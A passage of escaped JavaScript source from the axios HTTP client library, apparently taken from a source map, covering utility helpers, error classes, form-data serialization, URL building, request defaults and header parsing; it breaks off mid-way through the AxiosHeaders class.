(thing) => {\n  if (!thing) return null;\n  if (isArray(thing)) return thing;\n  let i = thing.length;\n  if (!isNumber(i)) return null;\n  const arr = new Array(i);\n  while (i-- > 0) {\n    arr[i] = thing[i];\n  }\n  return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n  // eslint-disable-next-line func-names\n  return thing => {\n    return TypedArray && thing instanceof TypedArray;\n  };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n  const generator = obj && obj[Symbol.iterator];\n\n  const iterator = generator.call(obj);\n\n  let result;\n\n  while ((result = iterator.next()) && !result.done) {\n    const pair = result.value;\n    fn.call(obj, pair[0], pair[1]);\n  }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n  let matches;\n  const arr = [];\n\n  while ((matches = regExp.exec(str)) !== null) {\n    arr.push(matches);\n  }\n\n  return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n  return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n    function replacer(m, p1, p2) {\n      return p1.toUpperCase() + p2;\n    }\n  );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n  const descriptors = Object.getOwnPropertyDescriptors(obj);\n  const reducedDescriptors = {};\n\n  forEach(descriptors, (descriptor, name) => {\n    let ret;\n    if ((ret = reducer(descriptor, name, obj)) !== false) {\n      reducedDescriptors[name] = ret || descriptor;\n    }\n  });\n\n  Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n  reduceDescriptors(obj, (descriptor, name) => {\n    // skip restricted props in strict mode\n    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n      return false;\n    }\n\n    const value = obj[name];\n\n    if (!isFunction(value)) return;\n\n    descriptor.enumerable = false;\n\n    if ('writable' in descriptor) {\n      descriptor.writable = false;\n      return;\n    }\n\n    if (!descriptor.set) {\n      descriptor.set = () => {\n        throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n      };\n    }\n  });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n  const obj = {};\n\n  const define = (arr) => {\n    arr.forEach(value => {\n      obj[value] = true;\n    });\n  }\n\n  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n  return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n  return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n  DIGIT,\n  ALPHA,\n  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n  let str = '';\n  const {length} = alphabet;\n  while (size--) {\n    str += alphabet[Math.random() * length|0]\n  }\n\n  return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n  const stack = new Array(10);\n\n  const visit = (source, i) => {\n\n    if (isObject(source)) {\n      if (stack.indexOf(source) >= 0) {\n        return;\n      }\n\n      if(!('toJSON' in source)) {\n        stack[i] = source;\n        const target = isArray(source) ? [] : {};\n\n        forEach(source, (value, key) => {\n          const reducedValue = visit(value, i + 1);\n          !isUndefined(reducedValue) && (target[key] = reducedValue);\n        });\n\n        stack[i] = undefined;\n\n        return target;\n      }\n    }\n\n    return source;\n  }\n\n  return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n  isArray,\n  isArrayBuffer,\n  isBuffer,\n  isFormData,\n  isArrayBufferView,\n  isString,\n  isNumber,\n  isBoolean,\n  isObject,\n  isPlainObject,\n  isReadableStream,\n  isRequest,\n  isResponse,\n  isHeaders,\n  isUndefined,\n  isDate,\n  isFile,\n  isBlob,\n  isRegExp,\n  isFunction,\n  isStream,\n  isURLSearchParams,\n  isTypedArray,\n  isFileList,\n  forEach,\n  merge,\n  extend,\n  trim,\n  stripBOM,\n  inherits,\n  toFlatObject,\n  kindOf,\n  kindOfTest,\n  endsWith,\n  toArray,\n  forEachEntry,\n  matchAll,\n  isHTMLForm,\n  hasOwnProperty,\n  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n  reduceDescriptors,\n  freezeMethods,\n  toObjectSet,\n  toCamelCase,\n  noop,\n  toFiniteNumber,\n  findKey,\n  global: _global,\n  isContextDefined,\n  ALPHABET,\n  generateString,\n  isSpecCompliantForm,\n  toJSONObject,\n  isAsyncFn,\n  isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n  Error.call(this);\n\n  if (Error.captureStackTrace) {\n    Error.captureStackTrace(this, this.constructor);\n  } else {\n    this.stack = (new Error()).stack;\n  }\n\n  this.message = message;\n  this.name = 'AxiosError';\n  code && (this.code = code);\n  config && (this.config = config);\n  request && (this.request = request);\n  response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n  toJSON: function toJSON() {\n    return {\n      // Standard\n      message: this.message,\n      name: this.name,\n      // Microsoft\n      description: this.description,\n      number: this.number,\n      // Mozilla\n      fileName: this.fileName,\n      lineNumber: this.lineNumber,\n      columnNumber: this.columnNumber,\n      stack: this.stack,\n      // Axios\n      config: utils.toJSONObject(this.config),\n      code: this.code,\n      status: this.response && this.response.status ? this.response.status : null\n    };\n  }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n  'ERR_BAD_OPTION_VALUE',\n  'ERR_BAD_OPTION',\n  'ECONNABORTED',\n  'ETIMEDOUT',\n  'ERR_NETWORK',\n  'ERR_FR_TOO_MANY_REDIRECTS',\n  'ERR_DEPRECATED',\n  'ERR_BAD_RESPONSE',\n  'ERR_BAD_REQUEST',\n  'ERR_CANCELED',\n  'ERR_NOT_SUPPORT',\n  'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n  descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n  const axiosError = Object.create(prototype);\n\n  utils.toFlatObject(error, axiosError, function filter(obj) {\n    return obj !== Error.prototype;\n  }, prop => {\n    return prop !== 'isAxiosError';\n  });\n\n  AxiosError.call(axiosError, error.message, code, config, request, response);\n\n  axiosError.cause = error;\n\n  axiosError.name = error.name;\n\n  customProps && Object.assign(axiosError, customProps);\n\n  return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n  return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n  return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n  if (!path) return key;\n  return path.concat(key).map(function each(token, i) {\n    // eslint-disable-next-line no-param-reassign\n    token = removeBrackets(token);\n    return !dots && i ? '[' + token + ']' : token;\n  }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n  return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n  return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n  if (!utils.isObject(obj)) {\n    throw new TypeError('target must be an object');\n  }\n\n  // eslint-disable-next-line no-param-reassign\n  formData = formData || new (PlatformFormData || FormData)();\n\n  // eslint-disable-next-line no-param-reassign\n  options = utils.toFlatObject(options, {\n    metaTokens: true,\n    dots: false,\n    indexes: false\n  }, false, function defined(option, source) {\n    // eslint-disable-next-line no-eq-null,eqeqeq\n    return !utils.isUndefined(source[option]);\n  });\n\n  const metaTokens = options.metaTokens;\n  // eslint-disable-next-line no-use-before-define\n  const visitor = options.visitor || defaultVisitor;\n  const dots = options.dots;\n  const indexes = options.indexes;\n  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n  const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n  if (!utils.isFunction(visitor)) {\n    throw new TypeError('visitor must be a function');\n  }\n\n  function convertValue(value) {\n    if (value === null) return '';\n\n    if (utils.isDate(value)) {\n      return value.toISOString();\n    }\n\n    if (!useBlob && utils.isBlob(value)) {\n      throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n    }\n\n    if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n    }\n\n    return value;\n  }\n\n  /**\n   * Default visitor.\n   *\n   * @param {*} value\n   * @param {String|Number} key\n   * @param {Array<String|Number>} path\n   * @this {FormData}\n   *\n   * @returns {boolean} return true to visit the each prop of the value recursively\n   */\n  function defaultVisitor(value, key, path) {\n    let arr = value;\n\n    if (value && !path && typeof value === 'object') {\n      if (utils.endsWith(key, '{}')) {\n        // eslint-disable-next-line no-param-reassign\n        key = metaTokens ? key : key.slice(0, -2);\n        // eslint-disable-next-line no-param-reassign\n        value = JSON.stringify(value);\n      } else if (\n        (utils.isArray(value) && isFlatArray(value)) ||\n        ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n        )) {\n        // eslint-disable-next-line no-param-reassign\n        key = removeBrackets(key);\n\n        arr.forEach(function each(el, index) {\n          !(utils.isUndefined(el) || el === null) && formData.append(\n            // eslint-disable-next-line no-nested-ternary\n            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n            convertValue(el)\n          );\n        });\n        return false;\n      }\n    }\n\n    if (isVisitable(value)) {\n      return true;\n    }\n\n    formData.append(renderKey(path, key, dots), convertValue(value));\n\n    return false;\n  }\n\n  const stack = [];\n\n  const exposedHelpers = Object.assign(predicates, {\n    defaultVisitor,\n    convertValue,\n    isVisitable\n  });\n\n  function build(value, path) {\n    if (utils.isUndefined(value)) return;\n\n    if (stack.indexOf(value) !== -1) {\n      throw Error('Circular reference detected in ' + path.join('.'));\n    }\n\n    stack.push(value);\n\n    utils.forEach(value, function each(el, key) {\n      const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n        formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n      );\n\n      if (result === true) {\n        build(el, path ? path.concat(key) : [key]);\n      }\n    });\n\n    stack.pop();\n  }\n\n  if (!utils.isObject(obj)) {\n    throw new TypeError('data must be an object');\n  }\n\n  build(obj);\n\n  return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n  this._pairs = [];\n\n  params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n  this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n  const _encode = encoder ? function(value) {\n    return encoder.call(this, value, encode);\n  } : encode;\n\n  return this._pairs.map(function each(pair) {\n    return _encode(pair[0]) + '=' + _encode(pair[1]);\n  }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n  \n  const _encode = options && options.encode || encode;\n\n  const serializeFn = options && options.serialize;\n\n  let serializedParams;\n\n  if (serializeFn) {\n    serializedParams = serializeFn(params, options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params) ?\n      params.toString() :\n      new AxiosURLSearchParams(params, options).toString(_encode);\n  }\n\n  if (serializedParams) {\n    const hashmarkIndex = url.indexOf(\"#\");\n\n    if (hashmarkIndex !== -1) {\n      url = url.slice(0, hashmarkIndex);\n    }\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n  constructor() {\n    this.handlers = [];\n  }\n\n  /**\n   * Add a new interceptor to the stack\n   *\n   * @param {Function} fulfilled The function to handle `then` for a `Promise`\n   * @param {Function} rejected The function to handle `reject` for a `Promise`\n   *\n   * @return {Number} An ID used to remove interceptor later\n   */\n  use(fulfilled, rejected, options) {\n    this.handlers.push({\n      fulfilled,\n      rejected,\n      synchronous: options ? options.synchronous : false,\n      runWhen: options ? options.runWhen : null\n    });\n    return this.handlers.length - 1;\n  }\n\n  /**\n   * Remove an interceptor from the stack\n   *\n   * @param {Number} id The ID that was returned by `use`\n   *\n   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n   */\n  eject(id) {\n    if (this.handlers[id]) {\n      this.handlers[id] = null;\n    }\n  }\n\n  /**\n   * Clear all interceptors from the stack\n   *\n   * @returns {void}\n   */\n  clear() {\n    if (this.handlers) {\n      this.handlers = [];\n    }\n  }\n\n  /**\n   * Iterate over all the registered interceptors\n   *\n   * This method is particularly useful for skipping over any\n   * interceptors that may have become `null` calling `eject`.\n   *\n   * @param {Function} fn The function to call for each interceptor\n   *\n   * @returns {void}\n   */\n  forEach(fn) {\n    utils.forEach(this.handlers, function forEachHandler(h) {\n      if (h !== null) {\n        fn(h);\n      }\n    });\n  }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n  silentJSONParsing: true,\n  forcedJSONParsing: true,\n  clarifyTimeoutError: false\n};\n","'use strict';\n\nimport url from 'url';\nexport default url.URLSearchParams;\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\n\nexport default {\n  isNode: true,\n  classes: {\n    URLSearchParams,\n    FormData,\n    Blob: typeof Blob !== 'undefined' && Blob || null\n  },\n  protocols: [ 'http', 'https', 'file', 'data' ]\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n * nativescript\n *  navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n  (product) => {\n    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n  })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n  return (\n    typeof WorkerGlobalScope !== 'undefined' &&\n    // eslint-disable-next-line no-undef\n    self instanceof WorkerGlobalScope &&\n    typeof self.importScripts === 'function'\n  );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n  hasBrowserEnv,\n  hasStandardBrowserWebWorkerEnv,\n  hasStandardBrowserEnv,\n  origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n  ...utils,\n  ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n    visitor: function(value, key, path, helpers) {\n      if (platform.isNode && utils.isBuffer(value)) {\n        this.append(key, value.toString('base64'));\n        return false;\n      }\n\n      return helpers.defaultVisitor.apply(this, arguments);\n    }\n  }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n  // foo[x][y][z]\n  // foo.x.y.z\n  // foo-x-y-z\n  // foo x y z\n  return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n    return match[0] === '[]' ? '' : match[1] || match[0];\n  });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n  const obj = {};\n  const keys = Object.keys(arr);\n  let i;\n  const len = keys.length;\n  let key;\n  for (i = 0; i < len; i++) {\n    key = keys[i];\n    obj[key] = arr[key];\n  }\n  return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n  function buildPath(path, value, target, index) {\n    let name = path[index++];\n\n    if (name === '__proto__') return true;\n\n    const isNumericKey = Number.isFinite(+name);\n    const isLast = index >= path.length;\n    name = !name && utils.isArray(target) ? target.length : name;\n\n    if (isLast) {\n      if (utils.hasOwnProp(target, name)) {\n        target[name] = [target[name], value];\n      } else {\n        target[name] = value;\n      }\n\n      return !isNumericKey;\n    }\n\n    if (!target[name] || !utils.isObject(target[name])) {\n      target[name] = [];\n    }\n\n    const result = buildPath(path, value, target[name], index);\n\n    if (result && utils.isArray(target[name])) {\n      target[name] = arrayToObject(target[name]);\n    }\n\n    return !isNumericKey;\n  }\n\n  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n    const obj = {};\n\n    utils.forEachEntry(formData, (name, value) => {\n      buildPath(parsePropPath(name), value, obj, 0);\n    });\n\n    return obj;\n  }\n\n  return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n  if (utils.isString(rawValue)) {\n    try {\n      (parser || JSON.parse)(rawValue);\n      return utils.trim(rawValue);\n    } catch (e) {\n      if (e.name !== 'SyntaxError') {\n        throw e;\n      }\n    }\n  }\n\n  return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n  transitional: transitionalDefaults,\n\n  adapter: ['xhr', 'http', 'fetch'],\n\n  transformRequest: [function transformRequest(data, headers) {\n    const contentType = headers.getContentType() || '';\n    const hasJSONContentType = contentType.indexOf('application/json') > -1;\n    const isObjectPayload = utils.isObject(data);\n\n    if (isObjectPayload && utils.isHTMLForm(data)) {\n      data = new FormData(data);\n    }\n\n    const isFormData = utils.isFormData(data);\n\n    if (isFormData) {\n      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n    }\n\n    if (utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data) ||\n      utils.isReadableStream(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n      return data.toString();\n    }\n\n    let isFileList;\n\n    if (isObjectPayload) {\n      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n        return toURLEncodedForm(data, this.formSerializer).toString();\n      }\n\n      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n        const _FormData = this.env && this.env.FormData;\n\n        return toFormData(\n          isFileList ? {'files[]': data} : data,\n          _FormData && new _FormData(),\n          this.formSerializer\n        );\n      }\n    }\n\n    if (isObjectPayload || hasJSONContentType ) {\n      headers.setContentType('application/json', false);\n      return stringifySafely(data);\n    }\n\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    const transitional = this.transitional || defaults.transitional;\n    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n    const JSONRequested = this.responseType === 'json';\n\n    if (utils.isResponse(data) || utils.isReadableStream(data)) {\n      return data;\n    }\n\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      const silentJSONParsing = transitional && transitional.silentJSONParsing;\n      const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n      try {\n        return JSON.parse(data);\n      } catch (e) {\n        if (strictJSONParsing) {\n          if (e.name === 'SyntaxError') {\n            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n          }\n          throw e;\n        }\n      }\n    }\n\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n  maxBodyLength: -1,\n\n  env: {\n    FormData: platform.classes.FormData,\n    Blob: platform.classes.Blob\n  },\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  },\n\n  headers: {\n    common: {\n      'Accept': 'application/json, text/plain, */*',\n      'Content-Type': undefined\n    }\n  }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n  defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n  const parsed = {};\n  let key;\n  let val;\n  let i;\n\n  rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n    i = line.indexOf(':');\n    key = line.substring(0, i).trim().toLowerCase();\n    val = line.substring(i + 1).trim();\n\n    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n      return;\n    }\n\n    if (key === 'set-cookie') {\n      if (parsed[key]) {\n        parsed[key].push(val);\n      } else {\n        parsed[key] = [val];\n      }\n    } else {\n      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n    }\n  });\n\n  return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n  return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n  if (value === false || value == null) {\n    return value;\n  }\n\n  return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n  const tokens = Object.create(null);\n  const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n  let match;\n\n  while ((match = tokensRE.exec(str))) {\n    tokens[match[1]] = match[2];\n  }\n\n  return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n  if (utils.isFunction(filter)) {\n    return filter.call(this, value, header);\n  }\n\n  if (isHeaderNameFilter) {\n    value = header;\n  }\n\n  if (!utils.isString(value)) return;\n\n  if (utils.isString(filter)) {\n    return value.indexOf(filter) !== -1;\n  }\n\n  if (utils.isRegExp(filter)) {\n    return filter.test(value);\n  }\n}\n\nfunction formatHeader(header) {\n  return header.trim()\n    .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n      return char.toUpperCase() + str;\n    });\n}\n\nfunction buildAccessors(obj, header) {\n  const accessorName = utils.toCamelCase(' ' + header);\n\n  ['get', 'set', 'has'].forEach(methodName => {\n    Object.defineProperty(obj, methodName + accessorName, {\n      value: function(arg1, arg2, arg3) {\n        return this[methodName].call(this, header, arg1, arg2, arg3);\n      },\n      configurable: true\n    });\n  });\n}\n\nclass AxiosHeaders {\n  constructor(headers) {\n    headers && this.set(headers);\n  }\n\n  set(header, valueOrRewrite, rewrite) {\n    const self = this;\n\n    function setHeader(_value, _header, _rewrite) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!lHeader) {\n        throw new Error('header name must be a non-empty string');\n      }\n\n      const key = utils.findKey(self, lHeader);\n\n      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n        self[key || _header] = normalizeValue(_value);\n      }\n    }\n\n    const setHeaders = (headers, _rewrite) =>\n      utils.forEach(headers, (_value, _header) => 